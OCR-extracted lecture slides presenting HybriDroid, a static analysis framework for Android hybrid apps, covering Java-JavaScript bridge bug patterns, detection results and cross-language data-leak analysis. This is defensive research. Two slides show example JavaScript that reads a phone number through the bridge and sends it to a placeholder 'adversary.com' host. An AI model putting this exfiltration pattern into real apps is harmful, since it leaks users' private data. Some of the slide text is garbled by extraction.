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Android App Market PLRG &
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Three Types of Android Apps PLRG &

Android Java
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Three Types of Android Apps PLRG &
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Flood of Mobile Platforms PLRG &
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Building an App for Multiple Platforms PLRG &
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Bugs and Security Issues in Hybrid Apps ~ PLRG &

“Hybrid applications have the combined security risks of
the other two types. ”

Ensuring application security in mobile device environments, IBM’13

“CAUTION: ... third-party JavaScript libraries or an untrusted child
iframe from a different domain may access those exposed methods in
the Java layer”

Building Hybrid Android Apps with Java and JavaScript, 2013

“hybrid app2| bugEtH review7t =X O Z g~

End Users’ Perception of Hybrid Mobile Apps in the Google Play Store (MS'15)
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Structure of Hybrid Apps PLRG &
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Inter-language Communication PLRG &
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Inter-language Communication PLRG &
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Inter-language Communication PLRG &

Class JSApp {
@JavascriptInterface
public int alert(String m) A

s
y app.alert(“hello hybrid”);
JavaScript
addJavascriptInterface( Bridge
new JSApp(), “app”);
Java Bridge
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Buggy Semantics

Android Java

Class JSApp {
@JavascriptInterface
public double divide(
int a, int b) {
retuzp P/Ei

Y divide by zero?

addJavascriptInterface(
new JSApp(), “app”);

Java Bridge

PLRG &

JavaScript

var list = [0,1,2,3,4];

var a = list[3];
var b = list[?];
if(b !'== 0)

app.divide(a, b);

(

JavaScript
Bridge
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Buggy Semantics

Android Java

Class JSApp {
@JavascriptInterface
public double divide(

int a, int b) {
retu_l;n ﬁa/pn; b=0

; divide by zero!

addJavascriptInterface(
new JSApp(), “app”);

Java Bridge
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JavaScript

var list = [0,1,2,3,4];

var a = list[3];
var b = list[5]; |b = undefined
if(b '== 0)

app.divide(a, b);

(

JavaScript
Bridge
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Private Data Leakage PLRG &

Android Java

class JSApp {
String getPhoneNumber(){
TelephonyManager tMgr = context.getSystemService(
Context.TELEPHONY_SERVICE);
return tMgr.getLinelNumber();

1 Java Bridge

addJavascriptInterface(new JSApp(), “app”);

/" JavaScript Bridge JavaScript

var phoneNumber = app.getPhoneNumber();

var xhr = new XMLHttpRequest();

xht.open(“GET”, “http://adversary.com/malicious”);
xhr.send(phoneNumber);
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Private Data Leakage PLRG &

Android Java

class JSApp{ A"—---.."®
String getPhoneNumber(){ .
TelephonyManager tMgr = con®sext.getSystemService(

Context TELEPHONY_SERVICE);
return tMgr.getLinelNumber();

y Java Bridge
|

.--

addJavascriptInterfage(new JSApp(), “abp");

4

(2) :

U "
Y 4 = . :
,? /" Jav?§¢r|pt Bridge JavaScript

var phoneNumber = app.getPhoneNumber();
<::jﬁr xhr = new XMLHttpRequest();

t.open(“GET”, “http://adversary.com/malicious”);
xhr.send(gponeNumber)

~.--‘
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HybriDroid: Cross-language Analysis PLRG &

WALAAndroid
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HybriDroid: Add-on Modules PLRG &

WALAAndroid
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HybriDroid: Bug Pattern PLRG &

e MethodNotFound

e MethodNotExecuted

e IncompatibleTypeConversion

e TypeOverloadedMethod
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HybriDroid: Bug Pattern PLRG &

Class JSApp {
@JavascriptInterface
public int alert(String m) A

s
, app.alert(“hello hybrid”, 3);
JavaScript
addJavascriptInterface( Bridge
new JSApp(), “app”);
Java Bridge
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HybriDroid: Bug Pattern PLRG &

o MethodNotFound
Class JSApp { Al @IXte| 77} CHE 42, JavaScript

@JavascriptInterface £,
public int alert(String m) {

exception 24

b Method Not Found Exception! >
v app.alert(“hello hybrid”, 3);
<'JavaScript
addJavascriptInterface( Bridge

new JSApp(), “app”);

Java Bridge
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HybriDroid: Bug Pattern PLRG &

Class JSApp {
@JavascriptInterface
public int[] alert(String m) {

s
y app.alert(“hello hybrid”);
JavaScript
addJavascriptInterface( Bridge
new JSApp(), “app”);
Java Bridge
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HybriDroid: Bug Pattern PLRG &

MethodNotExecute

Class JSApp { Java method?| return typeO| array type?!

@JavascriptInterface o AL, function call instruction0| 2 A

public int[] alert(Strlng m) {

! ? <
v app.alert(“hello hybrid”);
<'JavaScript
addJavascriptInterface( Bridge

new JSApp(), “app”);

Java Bridge
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HybriDroid: Bug Pattern PLRG &

Class JSApp {
@JavascriptInterface
public int alert(int x) {

s
y app.alert(“hello hybrid”);
JavaScript
addJavascriptInterface( Bridge
new JSApp(), “app”);
Java Bridge
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HybriDroid: Bug Pattern PLRG &

| IncompatibleTypeConversion
Class JSApp 1 CIXtE MEE 2t typeO| Javal| typel = ¥

@JavascriptInterface o,
public int alert(int x) {

0| 27ts ¢t H2, typelll St= defaultgtL 2 H

} X=0 b+
y app.alert(“hello hybrid”);
<'JavaScript
addJavascriptInterface( Bridge
new JSApp(), “app”);
Java Bridge
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HybriDroid: Bug Pattern PLRG &

Class JSApp {
@JavascriptInterface

public int alert(int x) {
}

public int alert(String x) A

}

I3 ) JavaScript
Bridge

app.alert(“hello hybrid”);

addJavascriptInterface(
new JSApp(), “app”);

Java Bridge

HybriDroid: Static Analysis Framework for Android Hybrid Applications 22



HybriDroid: Bug Pattern PLRG &

Android Java JavaScript

Class JSApp {
@JavascriptInterface

public int aEfrt(int x)”{ |

} ?

¥ o
public int alert(String x) {

TypeOverloadedMethod
Java method?} typeO| °|0H overloaded®l 42,
EN method?| E£8 H&GHX| 42

app.alert(“hello hybrid”);

y <'
I3 ) JavaScript
Bridge

addJavascriptInterface(
new JSApp(), “app”);

Java Bridge
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HybriDroid: Bug Detection Results PLRG &

Rank | Hybrid App | Bug Type (#) [#FP#TP| Bug Cause (#) | Time
com.gameloft.android.ANMP.GloftDMHM | MethodNotFound (1) | O 1 Obfuscation (1) | 2404 sec.
com.creativemobile.DragRacing MethodNotFound (1) | 1 0 3192 sec.

1-100 com.gau.go.launcherex MethodNotFound (2) | 2 0 5432 sec.
com.tripadvisor.tripadvisor MethodNotFound (1) | O 1 Obfuscation (1) |4028 sec.
com.dianxinos.dxbs MethodNotFound (1) | O 1 Obfuscation (1) | 1924 sec.

10,000 — 10,100 | com.magmamobile.game.LostWords MethodNotFound (1) | 1 0 475 sec.
20,000 — 20,100 |com.daishin MethodNotFound (1) | O 1 | Undeclared Method (1) 6572 sec.
com.carezone.caredroid.careapp MethodNotFound (5)| O 5 | Missing Annotation (5) | 2357 sec.
com.pateam.kanomthai MethodNotFound (2) | O 2 | Missing Annotation (2) | 4209 sec.
100,000 — 100,100 | com.acc5.16 MethodNotFound (6) | O 6 | Missing Annotation (6)| 367 sec.
jp.cleanup.android MethodNotFound (1) | 1 0 253 sec.
ligamexicana.futbol MethodNotFound (2) | 2 0 253 sec.
900.000 — 200.100 | €O+ Sysapk.weighter MethodNotFound (1) | O 1 | Missing Annotation (1)| 106 sec.
’ ’ com.youmustescape3guide.free MethodNotFound (6) | O 6 | Missing Annotation (6)| 445 sec.
Missing Annotation (20)
Total MethodNotFound (31)| 7 | 24 Obfuscation (3) | 2287 sec.
Undeclared Method (1)
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HybriDroid: Bug Detection Results PLRG &

Rank | Hybrid App | Bug Type (#) [#FP[#TP Bug Cause (#) Time
com.gameloft.android.ANMP.GloftDMHM | MethodNotFound (1) | O 1 Obfuscation (1) {2404 sec.
com.creativemobile.DragRacing MethodNotFound (1) | 1 0 3192 sec.

1-100 com.gau.go.launcherex MethodNotFound (2) | 2 0 5432 sec.
com.tripadvisor.tripadvisor MethodNotFound (1) | O 1 Obfuscation (1) f4028 sec.
com.dianxinos.dxbs MethodNotFound (1) | O 1 Obfuscation (1) f1924 sec.

10,000 — 10,100 | com.magmamobile.game.LostWords MethodNotFound (1) | 1 0 475 sec.
20,000 — 20,100 |com.daishin MethodNotFound (1) | O 1 | Undeclared Method (1) 6572 sec.
com.carezone.caredroid. careapp MethodNotFound (5)| O 5 | Missing Annotation (5) | 2357 sec.
com.pateam.kanomthai MethodNotFound (2)| O 2 | Missing Annotation (2) | 4209 sec.
100,000 — 100,100 | com.acc5.16 MethodNotFound (6) | O 6 | Missing Annotation (6)| 367 sec.
jp-cleanup.android MethodNotFound (1) | 1 0 253 sec.
ligamexicana.futbol MethodNotFound (2) | 2 0 253 sec.
900.000 — 200.100 | €O+ Sysapk.weighter MethodNotFound (1) | O 1 | Missing Annotation (1) | 106 sec.
’ ’ com.youmustescape3guide.free MethodNotFound (6) | O 6 | Missing Annotation (6)| 445 sec.
Missing Annotation (20)
Total MethodNotFound (31)| 7 | 24 Obfuscation (3) | 2287 sec.
Undeclared Method (1)

“If your project uses WebView with JS, uncomment the following and
specify the fully qualified class name to the JavaScript interface class:”

Comment of ProGuard Rules

source: http://www.calvin.edu/~cjn8/ks/KnowledgeShare/app/proguard-rules.pro
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HybriDroid: Bug Detection Results PLRG &

Rank | Hybrid App | Bug Type (#) [#FP[#TP Bug Cause (#) Time
com.gameloft.android.ANMP.GloftDMHM | MethodNotFound (1) | O 1 Obfuscation (1) {2404 sec.
com.creativemobile.DragRacing MethodNotFound (1) | 1 0 3192 sec.

1-100 com.gau.go.launcherex MethodNotFound (2) | 2 0 5432 sec.
com.tripadvisor.tripadvisor MethodNotFound (1) | O 1 Obfuscation (1) f4028 sec.
com.dianxinos.dxbs MethodNotFound (1) | O 1 Obfuscation (1) f1924 sec.

10,000 — 10,100 | com.magmamobile.game.LostWords MethodNotFound (1) | 1 0 475 sec.
20,000 — 20,100 |com.daishin MethodNotFound (1) | O 1 | Undeclared Method (1) 6572 sec.
com.carezone.caredroid. careapp MethodNotFound (5)| O 5 | Missing Annotation (5) | 2357 sec.
com.pateam.kanomthai MethodNotFound (2)| O 2 | Missing Annotation (2) | 4209 sec.
100,000 — 100,100 | com.acc5.16 MethodNotFound (6) | O 6 | Missing Annotation (6)| 367 sec.
jp-cleanup.android MethodNotFound (1) | 1 0 253 sec.
ligamexicana.futbol MethodNotFound (2) | 2 0 253 sec.
900.000 — 200.100 | €O+ Sysapk.weighter MethodNotFound (1) | O 1 | Missing Annotation (1) | 106 sec.
’ ’ com.youmustescape3guide.free MethodNotFound (6) | O 6 | Missing Annotation (6)| 445 sec.
Missing Annotation (20)
Total MethodNotFound (31)| 7 | 24 Obfuscation (3) | 2287 sec.
Undeclared Method (1)
Obfuscation:
class JSApp{ class JSApp{
@JavascriptInterface @JavascriptInterface
String receive(){ String abc(){
S %
} .. ¥ © " -.
¥ el ¥ g
bridg€.receivel(); bridge. receive();
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HybriDroid: Private Data Leakage Results PLRG &

- Track flows from Intents to JavaScript functions

+ modeling of Inter-Component Communication(ICC)
+ QOver-approximation of collection values

- Target: InMobi, advertising platform

Intent i = new Intent(Intent.ACTION_PICK);

startActivity(i);

protected void onActivityResult(..){

b a.fireGalleryImageSelectedEvent = funct;%n(a, b, c) {
var d = new Image;
d.src = "data:image/jpeg;base64," + a;
d.width = b;
d.height = c;
window. imraid.broadcastEvent('galleryImageSelected", d)
}
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Conclusion

Hybrid applications
A solution for supporting multiple platforms

Easy to introduce programmer errors and security
vulnerabilities

HybriDroid
Analysis framework for Android hybrid apps
Detection of previously uncovered bugs
Data flow analysis between language boundaries
Available at https://github.com/wala/WALA
https://qgithub.com/Sungholee/HybriDroid
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